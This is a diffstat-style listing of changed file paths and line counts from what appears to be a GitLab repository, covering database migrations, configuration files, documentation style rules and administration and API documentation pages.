-rw-r--r--config/settings.rb8
-rw-r--r--config/sidekiq_queues.yml22
-rw-r--r--config/webpack.config.js40
-rw-r--r--danger/bundle_size/Dangerfile6
-rw-r--r--danger/changelog/Dangerfile6
-rw-r--r--danger/commit_messages/Dangerfile13
-rw-r--r--danger/database/Dangerfile4
-rw-r--r--danger/pipeline/Dangerfile19
-rw-r--r--data/whats_new/202008180001_12_10.yml37
-rw-r--r--data/whats_new/202008180002_13_0.yml35
-rw-r--r--data/whats_new/202008180003_13_01.yml24
-rw-r--r--data/whats_new/202008210001_13_02.yml28
-rw-r--r--data/whats_new/202009150001_13_03.yml24
-rw-r--r--data/whats_new/202009300001_13_04.yml36
-rw-r--r--data/whats_new/202010230001_13_05.yml40
-rw-r--r--data/whats_new/202011230001_13_06.yml82
-rw-r--r--db/fixtures/development/17_cycle_analytics.rb14
-rw-r--r--db/fixtures/development/19_environments.rb1
-rw-r--r--db/migrate/20200913115700_add_kroki_application_settings.rb16
-rw-r--r--db/migrate/20201011005400_add_text_limit_to_application_settings_kroki_url.rb19
-rw-r--r--db/migrate/20201021155606_add_analytics_access_level_to_project_features.rb23
-rw-r--r--db/migrate/20201029144524_add_index_to_releases.rb18
-rw-r--r--db/migrate/20201030223933_add_ci_pipeline_deployments_to_plan_limits.rb9
-rw-r--r--db/migrate/20201103045515_add_issuable_metric_images.rb32
-rw-r--r--db/migrate/20201104142036_add_index_to_merge_request_metrics_target_project_id.rb18
-rw-r--r--db/migrate/20201106135608_remove_redundant_pipelines_index.rb17
-rw-r--r--db/migrate/20201106193452_add_converted_at_to_experiment_users.rb9
-rw-r--r--db/migrate/20201109080645_create_vulnerability_remediations_table.rb26
-rw-r--r--db/migrate/20201109080646_create_vulnerability_findings_remediations_join_table.rb16
-rw-r--r--db/migrate/20201110221400_create_experiment_subjects.rb25
-rw-r--r--db/migrate/20201111051655_add_foreign_key_to_experiment_subjects_on_user.rb19
-rw-r--r--db/migrate/20201111051847_add_foreign_key_to_experiment_subjects_on_group.rb19
-rw-r--r--db/migrate/20201111051904_add_foreign_key_to_experiment_subjects_on_project.rb19
-rw-r--r--db/migrate/20201111100136_create_analytics_devops_adoption_snapshots.rb21
-rw-r--r--db/migrate/20201111115414_create_incident_management_oncall_schedules.rb36
-rw-r--r--db/migrate/20201111145317_add_relation_to_indexes_view.rb58
-rw-r--r--db/migrate/20201112132808_create_bulk_import_failures.rb39
-rw-r--r--db/migrate/20201112173532_add_verification_state_to_package_files.rb10
-rw-r--r--db/migrate/20201112173911_add_index_on_verification_state_on_package_files.rb18
-rw-r--r--db/migrate/20201112215028_add_partitioned_audit_event_indexes.rb29
-rw-r--r--db/migrate/20201116090328_add_regulated_to_compliance_frameworks.rb9
-rw-r--r--db/migrate/20201116211829_create_user_permission_export_uploads.rb33
-rw-r--r--db/migrate/20201117054609_add_cloud_license_enabled_to_settings.rb9
-rw-r--r--db/migrate/20201117075742_change_webauthn_xid_length.rb18
-rw-r--r--db/migrate/20201117153333_add_index_on_package_size_and_project_id_to_project_statistics.rb19
-rw-r--r--db/migrate/20201117184334_add_index_to_project_repositories_shard_id_project_id.rb17
-rw-r--r--db/migrate/20201117203224_add_iteration_id_to_boards_table.rb19
-rw-r--r--db/migrate/20201117213024_add_iteration_id_index_to_boards_table.rb18
-rw-r--r--db/migrate/20201118093135_create_namespace_onboarding_actions.rb23
-rw-r--r--db/migrate/20201119031515_add_iteration_id_to_lists.rb9
-rw-r--r--db/migrate/20201119053603_add_iteration_lists_foreign_key.rb21
-rw-r--r--db/migrate/20201119125730_add_web_hooks_service_foreign_key.rb23
-rw-r--r--db/migrate/20201119133534_add_personal_access_token_prefix_to_application_setting.rb12
-rw-r--r--db/migrate/20201119133604_add_text_limit_to_application_setting_personal_access_token_prefix.rb16
-rw-r--r--db/migrate/20201119162801_change_services_inherit_from_id_foreign_key.rb19
-rw-r--r--db/migrate/20201119164605_add_checksum_into_vulnerability_remediations.rb11
-rw-r--r--db/migrate/20201119213406_change_terraform_versioning_enabled_default.rb9
-rw-r--r--db/migrate/20201120125953_replace_unused_labels_index.rb22
-rw-r--r--db/migrate/20201123081307_add_operations_project_feature_to_metrics.rb19
-rw-r--r--db/migrate/20201123161611_add_provisioned_by_group_to_user_details.rb29
-rw-r--r--db/migrate/20201124030537_create_incident_management_on_call_rotations.rb35
-rw-r--r--db/migrate/20201124075951_create_vulnerability_external_links.rb42
-rw-r--r--db/migrate/20201125030847_create_dependency_proxy_manifests.rb33
-rw-r--r--db/migrate/20201125233219_add_incident_management_on_call_participants.rb33
-rw-r--r--db/migrate/20201126165919_add_epic_boards.rb29
-rw-r--r--db/migrate/20201126172030_add_feed_token_off_to_settings.rb9
-rw-r--r--db/migrate/20201126190039_add_epic_board_labels.rb24
-rw-r--r--db/migrate/20201127141433_add_other_role_to_user_details.rb25
-rw-r--r--db/migrate/20201127170848_add_index_bloat_estimate_view.rb109
-rw-r--r--db/migrate/20201201033202_add_verification_indexes_for_package_files.rb24
-rw-r--r--db/migrate/20201201034258_add_index_for_non_system_noteables.rb24
-rw-r--r--db/migrate/20201201161655_add_primary_key_to_elastic_search_indexed_projects.rb31
-rw-r--r--db/migrate/20201201163227_add_finding_uuid_to_vulnerability_feedback.rb10
-rw-r--r--db/migrate/20201201175656_add_index_vulnerabilities_on_project_id_and_state_and_severity.rb18
-rw-r--r--db/migrate/20201201190002_add_other_context_to_experiment_user.rb19
-rw-r--r--db/migrate/20201201192112_add_primary_key_to_elastic_search_indexed_namespaces.rb38
-rw-r--r--db/migrate/20201202003042_add_epic_board_positions.rb27
-rw-r--r--db/migrate/20201202025644_add_column_to_security_findings.rb9
-rw-r--r--db/migrate/20201202025937_add_index_to_security_findings_uuid.rb18
-rw-r--r--db/migrate/20201202133606_add_sorted_to_merge_request_diffs.rb19
-rw-r--r--db/migrate/20201202142751_drop_index_vulnerabilities_on_project_id.rb18
-rw-r--r--db/migrate/20201202150001_add_details_to_vulnerability_findings.rb19
-rw-r--r--db/migrate/20201202155913_add_primary_key_to_merge_request_context_commit_diff_files.rb31
-rw-r--r--db/migrate/20201202160105_add_group_file_name_index_to_dependency_proxy_manifests.rb22
-rw-r--r--db/migrate/20201202161021_remove_redundant_index_on_merge_request_context_commit_diff_files.rb17
-rw-r--r--db/migrate/20201203123524_add_domain_enum_to_alerts.rb19
-rw-r--r--db/migrate/20201203144655_add_allow_to_edit_commit_to_project_settings.rb19
-rw-r--r--db/migrate/20201203171631_add_index_to_domain.rb17
-rw-r--r--db/migrate/20201204085522_add_project_id_into_vulnerability_remediations.rb19
-rw-r--r--db/migrate/20201204090855_add_compound_index_to_vulnerability_remediations_table.rb28
-rw-r--r--db/migrate/20201204141038_add_trace_bytesize_to_ci_build_pending_states.rb9
-rw-r--r--db/migrate/20201204205814_add_member_events_to_web_hooks.rb9
-rw-r--r--db/migrate/20201204215353_add_pull_mirror_interval_to_plan_limits.rb9
-rw-r--r--db/migrate/20201208081429_update_internal_ids_last_value_for_epics_renamed.rb27
-rw-r--r--db/migrate/20201208143911_add_approvals_created_at_index.rb19
-rw-r--r--db/migrate/20201208181411_remove_temporary_blocking_issues_index.rb21
-rw-r--r--db/migrate/20201209154746_expand_ci_pipelines_index_on_ci_ref_id.rb24
-rw-r--r--db/migrate/20201210101250_add_index_projects_on_import_type_and_creator_id.rb19
-rw-r--r--db/migrate/20201210175044_add_index_to_snippet_on_project_id.rb17
-rw-r--r--db/migrate/20201211042306_add_deployments_finder_by_finished_at_index.rb24
-rw-r--r--db/migrate/20201211145950_add_bloat_estimate_to_reindex_action.rb9
-rw-r--r--db/migrate/20201214084105_add_expiration_policy_completed_at_to_container_repositories.rb12
-rw-r--r--db/migrate/20201214113729_add_custom_mapping_columns_to_http_integrations.rb10
-rw-r--r--db/migrate/20201215084652_delete_mock_deployment_service_records.rb15
-rw-r--r--db/migrate/20201215132151_change_unique_index_on_security_findings.rb36
-rw-r--r--db/post_migrate/20201026185514_ensure_u2f_registrations_migrated.rb37
-rw-r--r--db/post_migrate/20201030121314_schedule_update_existing_users_that_require_two_factor_auth.rb35
-rw-r--r--db/post_migrate/20201112145311_add_index_on_sha_for_initial_deployments.rb21
-rw-r--r--db/post_migrate/20201113105000_update_index_secure_for_api_fuzzing_telemetry.rb27
-rw-r--r--db/post_migrate/20201119092319_schedule_repopulate_historical_vulnerability_statistics.rb31
-rw-r--r--db/post_migrate/20201120071303_drop_feature_filter_type_from_user_preferences.rb21
-rw-r--r--db/post_migrate/20201120140210_add_runner_id_and_id_desc_index_to_ci_builds.rb21
-rw-r--r--db/post_migrate/20201124122817_populate_remaining_missing_dismissal_information_for_vulnerabilities.rb21
-rw-r--r--db/post_migrate/20201124185639_remove_unused_indexes.rb27
-rw-r--r--db/post_migrate/20201130103926_schedule_populate_dismissed_state_for_vulnerabilities.rb62
-rw-r--r--db/post_migrate/20201203123201_remove_orphan_service_hooks.rb31
-rw-r--r--db/post_migrate/20201207151651_truncate_security_findings_table_2.rb7
-rw-r--r--db/schema_migrations/202009131157001
-rw-r--r--db/schema_migrations/202010110054001
-rw-r--r--db/schema_migrations/202010211556061
-rw-r--r--db/schema_migrations/202010261855141
-rw-r--r--db/schema_migrations/202010291445241
-rw-r--r--db/schema_migrations/202010301213141
-rw-r--r--db/schema_migrations/202010302239331
-rw-r--r--db/schema_migrations/202011030455151
-rw-r--r--db/schema_migrations/202011041420361
-rw-r--r--db/schema_migrations/202011061356081
-rw-r--r--db/schema_migrations/202011061934521
-rw-r--r--db/schema_migrations/202011090806451
-rw-r--r--db/schema_migrations/202011090806461
-rw-r--r--db/schema_migrations/202011102214001
-rw-r--r--db/schema_migrations/202011110516551
-rw-r--r--db/schema_migrations/202011110518471
-rw-r--r--db/schema_migrations/202011110519041
-rw-r--r--db/schema_migrations/202011111001361
-rw-r--r--db/schema_migrations/202011111154141
-rw-r--r--db/schema_migrations/202011111453171
-rw-r--r--db/schema_migrations/202011121328081
-rw-r--r--db/schema_migrations/202011121453111
-rw-r--r--db/schema_migrations/202011121735321
-rw-r--r--db/schema_migrations/202011121739111
-rw-r--r--db/schema_migrations/202011122150281
-rw-r--r--db/schema_migrations/202011131050001
-rw-r--r--db/schema_migrations/202011160903281
-rw-r--r--db/schema_migrations/202011162118291
-rw-r--r--db/schema_migrations/202011170546091
-rw-r--r--db/schema_migrations/202011170757421
-rw-r--r--db/schema_migrations/202011171533331
-rw-r--r--db/schema_migrations/202011171843341
-rw-r--r--db/schema_migrations/202011172032241
-rw-r--r--db/schema_migrations/202011172130241
-rw-r--r--db/schema_migrations/202011180931351
-rw-r--r--db/schema_migrations/202011190315151
-rw-r--r--db/schema_migrations/202011190536031
-rw-r--r--db/schema_migrations/202011190923191
-rw-r--r--db/schema_migrations/202011191257301
-rw-r--r--db/schema_migrations/202011191335341
-rw-r--r--db/schema_migrations/202011191336041
-rw-r--r--db/schema_migrations/202011191628011
-rw-r--r--db/schema_migrations/202011191646051
-rw-r--r--db/schema_migrations/202011192134061
-rw-r--r--db/schema_migrations/202011200713031
-rw-r--r--db/schema_migrations/202011201259531
-rw-r--r--db/schema_migrations/202011201402101
-rw-r--r--db/schema_migrations/202011230813071
-rw-r--r--db/schema_migrations/202011231616111
-rw-r--r--db/schema_migrations/202011240305371
-rw-r--r--db/schema_migrations/202011240759511
-rw-r--r--db/schema_migrations/202011241228171
-rw-r--r--db/schema_migrations/202011241856391
-rw-r--r--db/schema_migrations/202011250308471
-rw-r--r--db/schema_migrations/202011252332191
-rw-r--r--db/schema_migrations/202011261659191
-rw-r--r--db/schema_migrations/202011261720301
-rw-r--r--db/schema_migrations/202011261900391
-rw-r--r--db/schema_migrations/202011271414331
-rw-r--r--db/schema_migrations/202011271708481
-rw-r--r--db/schema_migrations/202011301039261
-rw-r--r--db/schema_migrations/202012010332021
-rw-r--r--db/schema_migrations/202012010342581
-rw-r--r--db/schema_migrations/202012011616551
-rw-r--r--db/schema_migrations/202012011632271
-rw-r--r--db/schema_migrations/202012011756561
-rw-r--r--db/schema_migrations/202012011900021
-rw-r--r--db/schema_migrations/202012011921121
-rw-r--r--db/schema_migrations/202012020030421
-rw-r--r--db/schema_migrations/202012020256441
-rw-r--r--db/schema_migrations/202012020259371
-rw-r--r--db/schema_migrations/202012021336061
-rw-r--r--db/schema_migrations/202012021427511
-rw-r--r--db/schema_migrations/202012021500011
-rw-r--r--db/schema_migrations/202012021559131
-rw-r--r--db/schema_migrations/202012021601051
-rw-r--r--db/schema_migrations/202012021610211
-rw-r--r--db/schema_migrations/202012031232011
-rw-r--r--db/schema_migrations/202012031235241
-rw-r--r--db/schema_migrations/202012031446551
-rw-r--r--db/schema_migrations/202012031716311
-rw-r--r--db/schema_migrations/202012040855221
-rw-r--r--db/schema_migrations/202012040908551
-rw-r--r--db/schema_migrations/202012041410381
-rw-r--r--db/schema_migrations/202012042058141
-rw-r--r--db/schema_migrations/202012042153531
-rw-r--r--db/schema_migrations/202012071516511
-rw-r--r--db/schema_migrations/202012080814291
-rw-r--r--db/schema_migrations/202012081439111
-rw-r--r--db/schema_migrations/202012081814111
-rw-r--r--db/schema_migrations/202012091547461
-rw-r--r--db/schema_migrations/202012101012501
-rw-r--r--db/schema_migrations/202012101750441
-rw-r--r--db/schema_migrations/202012110423061
-rw-r--r--db/schema_migrations/202012111459501
-rw-r--r--db/schema_migrations/202012140841051
-rw-r--r--db/schema_migrations/202012141137291
-rw-r--r--db/schema_migrations/202012150846521
-rw-r--r--db/schema_migrations/202012151321511
-rw-r--r--db/structure.sql820
-rw-r--r--doc/.vale/gitlab/Acronyms.yml38
-rw-r--r--doc/.vale/gitlab/AlertBoxCaution.yml14
-rw-r--r--doc/.vale/gitlab/AlertBoxDanger.yml14
-rw-r--r--doc/.vale/gitlab/AlertBoxNoteTip.yml15
-rw-r--r--doc/.vale/gitlab/AlertBoxStyle.yml13
-rw-r--r--doc/.vale/gitlab/BadgeCapitalization.yml2
-rw-r--r--doc/.vale/gitlab/British.yml6
-rw-r--r--doc/.vale/gitlab/CodeblockFences.yml2
-rw-r--r--doc/.vale/gitlab/CurlStringsQuoted.yml2
-rw-r--r--doc/.vale/gitlab/CurrentStatus.yml2
-rw-r--r--doc/.vale/gitlab/FirstPerson.yml2
-rw-r--r--doc/.vale/gitlab/FutureTense.yml2
-rw-r--r--doc/.vale/gitlab/InclusionAbleism.yml2
-rw-r--r--doc/.vale/gitlab/InclusionCultural.yml2
-rw-r--r--doc/.vale/gitlab/InclusionGender.yml2
-rw-r--r--doc/.vale/gitlab/InternalLinkCase.yml13
-rw-r--r--doc/.vale/gitlab/InternalLinkExtension.yml2
-rw-r--r--doc/.vale/gitlab/InternalLinkFormat.yml2
-rw-r--r--doc/.vale/gitlab/LatinTerms.yml4
-rw-r--r--doc/.vale/gitlab/OutdatedVersions.yml2
-rw-r--r--doc/.vale/gitlab/OxfordComma.yml2
-rw-r--r--doc/.vale/gitlab/Possessive.yml15
-rw-r--r--doc/.vale/gitlab/ReferenceLinks.yml2
-rw-r--r--doc/.vale/gitlab/RelativeLinks.yml2
-rw-r--r--doc/.vale/gitlab/SentenceLength.yml2
-rw-r--r--doc/.vale/gitlab/SentenceSpacing.yml2
-rw-r--r--doc/.vale/gitlab/Simplicity.yml2
-rw-r--r--doc/.vale/gitlab/SubstitutionSuggestions.yml16
-rw-r--r--doc/.vale/gitlab/Substitutions.yml2
-rw-r--r--doc/.vale/gitlab/ToDo.yml2
-rw-r--r--doc/.vale/gitlab/VersionText.yml2
-rw-r--r--doc/.vale/gitlab/spelling-exceptions.txt30
-rw-r--r--doc/README.md417
-rw-r--r--doc/administration/audit_events.md94
-rw-r--r--doc/administration/audit_reports.md2
-rw-r--r--doc/administration/auditor_users.md8
-rw-r--r--doc/administration/auth/README.md4
-rw-r--r--doc/administration/auth/atlassian.md2
-rw-r--r--doc/administration/auth/authentiq.md2
-rw-r--r--doc/administration/auth/cognito.md2
-rw-r--r--doc/administration/auth/crowd.md5
-rw-r--r--doc/administration/auth/google_secure_ldap.md3
-rw-r--r--doc/administration/auth/how_to_configure_ldap_gitlab_ce/index.md3
-rw-r--r--doc/administration/auth/how_to_configure_ldap_gitlab_ee/index.md3
-rw-r--r--doc/administration/auth/jwt.md4
-rw-r--r--doc/administration/auth/ldap-ee.md3
-rw-r--r--doc/administration/auth/ldap-troubleshooting.md3
-rw-r--r--doc/administration/auth/ldap.md3
-rw-r--r--doc/administration/auth/ldap/google_secure_ldap.md9
-rw-r--r--doc/administration/auth/ldap/index.md167
-rw-r--r--doc/administration/auth/ldap/ldap-troubleshooting.md8
-rw-r--r--doc/administration/auth/oidc.md4
-rw-r--r--doc/administration/auth/okta.md4
-rw-r--r--doc/administration/auth/smartcard.md8
-rw-r--r--doc/administration/availability/index.md3
-rw-r--r--doc/administration/build_artifacts.md3
-rw-r--r--doc/administration/compliance.md15
-rw-r--r--doc/administration/consul.md10
-rw-r--r--doc/administration/container_registry.md3
-rw-r--r--doc/administration/custom_hooks.md3
-rw-r--r--doc/administration/database_load_balancing.md6
-rw-r--r--doc/administration/dependency_proxy.md3
-rw-r--r--doc/administration/encrypted_configuration.md37
-rw-r--r--doc/administration/environment_variables.md2
-rw-r--r--doc/administration/external_pipeline_validation.md10
-rw-r--r--doc/administration/feature_flags.md6
-rw-r--r--doc/administration/file_hooks.md8
-rw-r--r--doc/administration/geo/disaster_recovery/background_verification.md4
-rw-r--r--doc/administration/geo/disaster_recovery/bring_primary_back.md8
-rw-r--r--doc/administration/geo/disaster_recovery/index.md21
-rw-r--r--doc/administration/geo/disaster_recovery/planned_failover.md2
-rw-r--r--doc/administration/geo/disaster_recovery/promotion_runbook.md3
-rw-r--r--doc/administration/geo/disaster_recovery/runbooks/planned_failover_multi_node.md24
-rw-r--r--doc/administration/geo/disaster_recovery/runbooks/planned_failover_single_node.md16
-rw-r--r--doc/administration/geo/glossary.md112
-rw-r--r--doc/administration/geo/index.md38
-rw-r--r--doc/administration/geo/replication/configuration.md8
-rw-r--r--doc/administration/geo/replication/database.md3
-rw-r--r--doc/administration/geo/replication/datatypes.md13
-rw-r--r--doc/administration/geo/replication/disable_geo.md2
-rw-r--r--doc/administration/geo/replication/docker_registry.md10
-rw-r--r--doc/administration/geo/replication/external_database.md3
-rw-r--r--doc/administration/geo/replication/faq.md2
-rw-r--r--doc/administration/geo/replication/geo_validation_tests.md2
-rw-r--r--doc/administration/geo/replication/high_availability.md3
-rw-r--r--doc/administration/geo/replication/img/geo_node_dashboard.pngbin48528 -> 41734 bytes
-rw-r--r--doc/administration/geo/replication/img/geo_node_healthcheck.pngbin28285 -> 0 bytes
-rw-r--r--doc/administration/geo/replication/index.md3
-rw-r--r--doc/administration/geo/replication/location_aware_git_url.md4
-rw-r--r--doc/administration/geo/replication/multiple_servers.md26
-rw-r--r--doc/administration/geo/replication/object_storage.md8
-rw-r--r--doc/administration/geo/replication/remove_geo_node.md4
-rw-r--r--doc/administration/geo/replication/security_review.md4
-rw-r--r--doc/administration/geo/replication/troubleshooting.md16
-rw-r--r--doc/administration/geo/replication/tuning.md2
-rw-r--r--doc/administration/geo/replication/updating_the_geo_nodes.md6
-rw-r--r--doc/administration/geo/replication/using_a_geo_server.md2
-rw-r--r--doc/administration/geo/replication/version_specific_updates.md26
-rw-r--r--doc/administration/geo/setup/database.md40
-rw-r--r--doc/administration/geo/setup/external_database.md6
-rw-r--r--doc/administration/geo/setup/index.md4
-rw-r--r--doc/administration/git_annex.md6
-rw-r--r--doc/administration/git_protocol.md2
-rw-r--r--doc/administration/gitaly/index.md71
-rw-r--r--doc/administration/gitaly/praefect.md317
-rw-r--r--doc/administration/gitaly/reference.md20
-rw-r--r--doc/administration/housekeeping.md6
-rw-r--r--doc/administration/img/audit_log.pngbin25767 -> 0 bytes
-rw-r--r--doc/administration/img/audit_log_v13_6.pngbin0 -> 43867 bytes
-rw-r--r--doc/administration/img/export_audit_log_v13_4.pngbin46643 -> 0 bytes
-rw-r--r--doc/administration/img/kroki_c4_diagram.pngbin0 -> 39905 bytes
-rw-r--r--doc/administration/img/kroki_graphviz_diagram.pngbin0 -> 53365 bytes
-rw-r--r--doc/administration/img/kroki_nomnoml_diagram.pngbin0 -> 21215 bytes
-rw-r--r--doc/administration/img/kroki_plantuml_diagram.pngbin0 -> 5236 bytes
-rw-r--r--doc/administration/incoming_email.md31
-rw-r--r--doc/administration/index.md62
-rw-r--r--doc/administration/instance_limits.md74
-rw-r--r--doc/administration/instance_review.md10
-rw-r--r--doc/administration/integration/kroki.md162
-rw-r--r--doc/administration/integration/plantuml.md4
-rw-r--r--doc/administration/integration/terminal.md22
-rw-r--r--doc/administration/invalidate_markdown_cache.md4
-rw-r--r--doc/administration/issue_closing_pattern.md6
-rw-r--r--doc/administration/job_artifacts.md42
-rw-r--r--doc/administration/job_logs.md36
-rw-r--r--doc/administration/job_traces.md3
-rw-r--r--doc/administration/lfs/index.md4
-rw-r--r--doc/administration/lfs/lfs_administration.md3
-rw-r--r--doc/administration/lfs/manage_large_binaries_with_git_lfs.md3
-rw-r--r--doc/administration/lfs/migrate_from_git_annex_to_git_lfs.md3
-rw-r--r--doc/administration/libravatar.md8
-rw-r--r--doc/administration/load_balancer.md36
-rw-r--r--doc/administration/logs.md57
-rw-r--r--doc/administration/maven_packages.md3
-rw-r--r--doc/administration/maven_repository.md3
-rw-r--r--doc/administration/merge_request_diffs.md6
-rw-r--r--doc/administration/monitoring/github_imports.md2
-rw-r--r--doc/administration/monitoring/gitlab_instance_administration_project/index.md3
-rw-r--r--doc/administration/monitoring/gitlab_self_monitoring_project/index.md20
-rw-r--r--doc/administration/monitoring/index.md4
-rw-r--r--doc/administration/monitoring/ip_whitelist.md4
-rw-r--r--doc/administration/monitoring/performance/gitlab_configuration.md2
-rw-r--r--doc/administration/monitoring/performance/grafana_configuration.md4
-rw-r--r--doc/administration/monitoring/performance/index.md2
-rw-r--r--doc/administration/monitoring/performance/introduction.md3
-rw-r--r--doc/administration/monitoring/performance/performance_bar.md2
-rw-r--r--doc/administration/monitoring/performance/prometheus.md3
-rw-r--r--doc/administration/monitoring/performance/request_profiling.md2
-rw-r--r--doc/administration/monitoring/prometheus/gitlab_exporter.md2
-rw-r--r--doc/administration/monitoring/prometheus/gitlab_metrics.md5
-rw-r--r--doc/administration/monitoring/prometheus/gitlab_monitor_exporter.md3
-rw-r--r--doc/administration/monitoring/prometheus/index.md25
-rw-r--r--doc/administration/monitoring/prometheus/node_exporter.md4
-rw-r--r--doc/administration/monitoring/prometheus/pgbouncer_exporter.md6
-rw-r--r--doc/administration/monitoring/prometheus/postgres_exporter.md6
-rw-r--r--doc/administration/monitoring/prometheus/redis_exporter.md4
-rw-r--r--doc/administration/monitoring/prometheus/registry_exporter.md4
-rw-r--r--doc/administration/nfs.md45
-rw-r--r--doc/administration/npm_registry.md3
-rw-r--r--doc/administration/object_storage.md12
-rw-r--r--doc/administration/operations.md3
-rw-r--r--doc/administration/operations/cleaning_up_redis_sessions.md8
-rw-r--r--doc/administration/operations/extra_sidekiq_processes.md10
-rw-r--r--doc/administration/operations/fast_ssh_key_lookup.md19
-rw-r--r--doc/administration/operations/filesystem_benchmarking.md8
-rw-r--r--doc/administration/operations/index.md6
-rw-r--r--doc/administration/operations/moving_repositories.md16
-rw-r--r--doc/administration/operations/puma.md6
-rw-r--r--doc/administration/operations/rails_console.md8
-rw-r--r--doc/administration/operations/sidekiq_memory_killer.md6
-rw-r--r--doc/administration/operations/speed_up_ssh.md3
-rw-r--r--doc/administration/operations/ssh_certificates.md17
-rw-r--r--doc/administration/operations/unicorn.md10
-rw-r--r--doc/administration/packages.md3
-rw-r--r--doc/administration/packages/container_registry.md52
-rw-r--r--doc/administration/packages/dependency_proxy.md27
-rw-r--r--doc/administration/packages/index.md22
-rw-r--r--doc/administration/pages/img/zip_cache_configuration.pngbin0 -> 21703 bytes
-rw-r--r--doc/administration/pages/index.md152
-rw-r--r--doc/administration/pages/source.md12
-rw-r--r--doc/administration/plugins.md3
-rw-r--r--doc/administration/polling.md9
-rw-r--r--doc/administration/postgresql/external.md2
-rw-r--r--doc/administration/postgresql/index.md2
-rw-r--r--doc/administration/postgresql/pgbouncer.md4
-rw-r--r--doc/administration/postgresql/replication_and_failover.md20
-rw-r--r--doc/administration/postgresql/standalone.md4
-rw-r--r--doc/administration/pseudonymizer.md16
-rw-r--r--doc/administration/raketasks/check.md12
-rw-r--r--doc/administration/raketasks/doctor.md2
-rw-r--r--doc/administration/raketasks/geo.md2
-rw-r--r--doc/administration/raketasks/github_import.md14
-rw-r--r--doc/administration/raketasks/ldap.md97
-rw-r--r--doc/administration/raketasks/maintenance.md16
-rw-r--r--doc/administration/raketasks/praefect.md2
-rw-r--r--doc/administration/raketasks/project_import_export.md8
-rw-r--r--doc/administration/raketasks/storage.md15
-rw-r--r--doc/administration/raketasks/uploads/migrate.md20
-rw-r--r--doc/administration/raketasks/uploads/sanitize.md12
-rw-r--r--doc/administration/read_only_gitlab.md4
-rw-r--r--doc/administration/redis/index.md2
-rw-r--r--doc/administration/redis/replication_and_failover.md20
-rw-r--r--doc/administration/redis/replication_and_failover_external.md2
-rw-r--r--doc/administration/redis/standalone.md2
-rw-r--r--doc/administration/redis/troubleshooting.md2
-rw-r--r--doc/administration/reference_architectures/10k_users.md131
-rw-r--r--doc/administration/reference_architectures/1k_users.md2
-rw-r--r--doc/administration/reference_architectures/25k_users.md131
-rw-r--r--doc/administration/reference_architectures/2k_users.md50
-rw-r--r--doc/administration/reference_architectures/3k_users.md106
-rw-r--r--doc/administration/reference_architectures/50k_users.md131
-rw-r--r--doc/administration/reference_architectures/5k_users.md107
-rw-r--r--doc/administration/reference_architectures/index.md41
-rw-r--r--doc/administration/reference_architectures/troubleshooting.md6
-rw-r--r--doc/administration/reply_by_email.md28
-rw-r--r--doc/administration/reply_by_email_postfix_setup.md10
-rw-r--r--doc/administration/repository_checks.md4
-rw-r--r--doc/administration/repository_storage_paths.md61
-rw-r--r--doc/administration/repository_storage_types.md30
-rw-r--r--doc/administration/repository_storages.md3
-rw-r--r--doc/administration/restart_gitlab.md6
-rw-r--r--doc/administration/scaling/index.md3
-rw-r--r--doc/administration/server_hooks.md22
-rw-r--r--doc/administration/sidekiq.md11
-rw-r--r--doc/administration/smime_signing_email.md8
-rw-r--r--doc/administration/snippets/index.md8
-rw-r--r--doc/administration/static_objects_external_storage.md2
-rw-r--r--doc/administration/terraform_state.md12
-rw-r--r--doc/administration/timezone.md8
-rw-r--r--doc/administration/troubleshooting/debug.md6
-rw-r--r--doc/administration/troubleshooting/diagnostics_tools.md6
-rw-r--r--doc/administration/troubleshooting/elasticsearch.md2
-rw-r--r--doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md112
-rw-r--r--doc/administration/troubleshooting/group_saml_scim.md6
-rw-r--r--doc/administration/troubleshooting/img/network_monitor_xid.pngbin55588 -> 89959 bytes
-rw-r--r--doc/administration/troubleshooting/index.md6
-rw-r--r--doc/administration/troubleshooting/kubernetes_cheat_sheet.md16
-rw-r--r--doc/administration/troubleshooting/linux_cheat_sheet.md14
-rw-r--r--doc/administration/troubleshooting/log_parsing.md43
-rw-r--r--doc/administration/troubleshooting/navigating_gitlab_via_rails_console.md8
-rw-r--r--doc/administration/troubleshooting/postgresql.md108
-rw-r--r--doc/administration/troubleshooting/sidekiq.md6
-rw-r--r--doc/administration/troubleshooting/ssl.md111
-rw-r--r--doc/administration/troubleshooting/test_environments.md15
-rw-r--r--doc/administration/troubleshooting/tracing_correlation_id.md10
-rw-r--r--doc/administration/uploads.md8
-rw-r--r--doc/administration/user_settings.md6
-rw-r--r--doc/administration/wikis/index.md8
-rw-r--r--doc/analytics/README.md3
-rw-r--r--doc/analytics/contribution_analytics.md3
-rw-r--r--doc/api/README.md44
-rw-r--r--doc/api/access_requests.md12
-rw-r--r--doc/api/admin_sidekiq_queues.md2
-rw-r--r--doc/api/api_resources.md2
-rw-r--r--doc/api/appearance.md42
-rw-r--r--doc/api/applications.md10
-rw-r--r--doc/api/audit_events.md12
-rw-r--r--doc/api/avatar.md6
-rw-r--r--doc/api/award_emoji.md31
-rw-r--r--doc/api/boards.md4
-rw-r--r--doc/api/branches.md11
-rw-r--r--doc/api/broadcast_messages.md6
-rw-r--r--doc/api/build_triggers.md3
-rw-r--r--doc/api/builds.md3
-rw-r--r--doc/api/commits.md4
-rw-r--r--doc/api/container_registry.md4
-rw-r--r--doc/api/custom_attributes.md6
-rw-r--r--doc/api/dependencies.md4
-rw-r--r--doc/api/dependency_proxy.md6
-rw-r--r--doc/api/deploy_key_multiple_projects.md3
-rw-r--r--doc/api/deploy_keys.md4
-rw-r--r--doc/api/deploy_tokens.md4
-rw-r--r--doc/api/deployments.md4
-rw-r--r--doc/api/discussions.md6
-rw-r--r--doc/api/environments.md4
-rw-r--r--doc/api/epic_issues.md8
-rw-r--r--doc/api/epic_links.md12
-rw-r--r--doc/api/epics.md10
-rw-r--r--doc/api/error_tracking.md2
-rw-r--r--doc/api/events.md4
-rw-r--r--doc/api/experiments.md2
-rw-r--r--doc/api/feature_flag_specs.md6
-rw-r--r--doc/api/feature_flag_user_lists.md6
-rw-r--r--doc/api/feature_flags.md10
-rw-r--r--doc/api/feature_flags_legacy.md14
-rw-r--r--doc/api/features.md78
-rw-r--r--doc/api/freeze_periods.md10
-rw-r--r--doc/api/geo_nodes.md7
-rw-r--r--doc/api/graphql/audit_report.md4
-rw-r--r--doc/api/graphql/getting_started.md26
-rw-r--r--doc/api/graphql/index.md8
-rw-r--r--doc/api/graphql/reference/gitlab_schema.graphql2344
-rw-r--r--doc/api/graphql/reference/gitlab_schema.json6513
-rw-r--r--doc/api/graphql/reference/index.md537
